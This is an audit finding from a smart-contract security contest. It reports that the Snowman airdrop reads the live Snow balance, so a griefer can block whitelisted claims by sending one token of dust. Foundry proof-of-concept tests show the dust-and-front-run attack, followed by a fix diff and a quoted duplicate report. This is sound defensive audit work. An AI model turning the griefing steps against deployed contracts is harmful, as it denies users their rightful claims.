Snowman Merkle Airdrop
AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

Claim amount is derived from the live Snow balance instead of the Merkle-committed snapshot, so one unit of dust blocks a whitelisted claim and simply using `earnSnow` as intended invalidates a user's own proof

friedsocks233

Description

A Merkle airdrop commits to a fixed (receiver, amount) snapshot; the claimant supplies the committed amount and proves it is in the tree.

Here amount is never supplied. Both the Merkle leaf and the signed digest are recomputed from i_snow.balanceOf(receiver) at call time, so a claim verifies only while the receiver's balance is exactly the amount frozen into the root. Any change in either direction — a transfer in, a transfer out, a purchase, a free weekly earn — produces a different leaf and a different digest, and the claim reverts.

// src/SnowmanAirdrop.sol — claimSnowman
@> uint256 amount = i_snow.balanceOf(receiver); // live balance, not the snapshot
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
@> if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
// ...and the digest the signature must match is derived the same way:
function getMessageHash(address receiver) public view returns (bytes32) {
if (i_snow.balanceOf(receiver) == 0) revert SA__ZeroAmount();
@> uint256 amount = i_snow.balanceOf(receiver);
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}

Risk

Likelihood:

  • Whenever a whitelisted user earns or buys Snow after the snapshot — which is the protocol's advertised core loop. script/flakes/input.json commits every recipient at amount 1, and a single earnSnow call takes them to 2, so an honest user breaks their own claim with no attacker present.

  • Whenever a griefer dusts a whitelisted address. earnSnow hands out Snow for gas alone, and Snow is a freely transferable ERC20, so the attack has essentially no capital cost.

  • The attacker can watch the mempool and send the dust to front-run each retry, since the victim's fix (dumping the dust) and their claim cannot be atomic.

Impact:

  • Eligible recipients are denied the airdrop they are entitled to, at the attacker's discretion and repeatedly.

  • Recovery requires the victim to diagnose a bare SA__InvalidProof / SA__InvalidSignature revert, compute the exact snapshot balance, dump the surplus, and re-sign — all while being re-dusted. In practice most users simply cannot claim.

  • Users holding more Snow than the snapshot must give the surplus away to claim at all, which directly contradicts the protocol's "earn Snow weekly" incentive.

Proof of Concept

Paste the harness and test function(s) into test/PoC.t.sol, placing test functions inside contract PoC. Any additional helper contracts go outside contract PoC. Run forge test --match-path test/PoC.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console2} from "forge-std/Test.sol";
import {Snow} from "../src/Snow.sol";
import {Snowman} from "../src/Snowman.sol";
import {SnowmanAirdrop} from "../src/SnowmanAirdrop.sol";
import {MockWETH} from "../src/mock/MockWETH.sol";
contract PoC is Test {
Snow snow;
Snowman nft;
MockWETH weth;
address collector = makeAddr("collector");
address attacker = makeAddr("attacker");
address victim = makeAddr("victim");
function setUp() public {
weth = new MockWETH();
snow = new Snow(address(weth), 1, collector);
nft = new Snowman("ipfs://snowman");
}
function _leaf(address who, uint256 amount) internal pure returns (bytes32) {
return keccak256(bytes.concat(keccak256(abi.encode(who, amount))));
}
// Insert the test function below here.
}

Two tests: the griefing path, and the no-attacker path.

function test_OneUnitOfDustBlocksAWhitelistedClaim() public {
(address v_, uint256 key) = makeAddrAndKey("victim2");
vm.deal(v_, 10 ether);
vm.prank(v_);
snow.buySnow{value: 1 ether}(1);
SnowmanAirdrop airdrop = new SnowmanAirdrop(_leaf(v_, 1), address(snow), address(nft));
bytes32[] memory emptyProof = new bytes32[](0);
vm.prank(v_);
snow.approve(address(airdrop), type(uint256).max);
(uint8 sv, bytes32 sr, bytes32 ss) = vm.sign(key, airdrop.getMessageHash(v_));
vm.warp(block.timestamp + 7 days);
vm.prank(attacker);
snow.earnSnow();
vm.prank(attacker);
snow.transfer(v_, 1);
assertEq(snow.balanceOf(v_), 2, "victim holds 2; snapshot said 1");
vm.expectRevert(SnowmanAirdrop.SA__InvalidSignature.selector);
airdrop.claimSnowman(v_, emptyProof, sv, sr, ss);
(uint8 v2, bytes32 r2, bytes32 s2) = vm.sign(key, airdrop.getMessageHash(v_));
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector);
airdrop.claimSnowman(v_, emptyProof, v2, r2, s2);
vm.prank(v_);
snow.transfer(attacker, 1);
(uint8 v3, bytes32 r3, bytes32 s3) = vm.sign(key, airdrop.getMessageHash(v_));
airdrop.claimSnowman(v_, emptyProof, v3, r3, s3);
assertEq(nft.balanceOf(v_), 1);
}
function test_EarningSnowAsIntendedBreaksYourOwnClaim() public {
(address user, uint256 key) = makeAddrAndKey("honest");
vm.deal(user, 10 ether);
vm.prank(user);
snow.buySnow{value: 1 ether}(1);
SnowmanAirdrop airdrop = new SnowmanAirdrop(_leaf(user, 1), address(snow), address(nft));
bytes32[] memory emptyProof = new bytes32[](0);
vm.prank(user);
snow.approve(address(airdrop), type(uint256).max);
vm.warp(block.timestamp + 7 days);
vm.prank(user);
snow.earnSnow();
assertEq(snow.balanceOf(user), 2);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(key, airdrop.getMessageHash(user));
vm.expectRevert(SnowmanAirdrop.SA__InvalidProof.selector);
airdrop.claimSnowman(user, emptyProof, v, r, s);
}

Recommended Mitigation

Take the committed amount as a parameter and treat the balance as a sufficiency check, not as the source of truth.

- function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
+ function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
- if (i_snow.balanceOf(receiver) == 0) {
+ if (amount == 0 || i_snow.balanceOf(receiver) < amount) {
revert SA__ZeroAmount();
}
- if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
+ if (!_isValidSignature(receiver, getMessageHash(receiver, amount), v, r, s)) {
revert SA__InvalidSignature();
}
- uint256 amount = i_snow.balanceOf(receiver);
-
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));

and correspondingly:

- function getMessageHash(address receiver) public view returns (bytes32) {
- if (i_snow.balanceOf(receiver) == 0) {
- revert SA__ZeroAmount();
- }
- uint256 amount = i_snow.balanceOf(receiver);
-
+ function getMessageHash(address receiver, uint256 amount) public view returns (bytes32) {
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.&#x20; ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!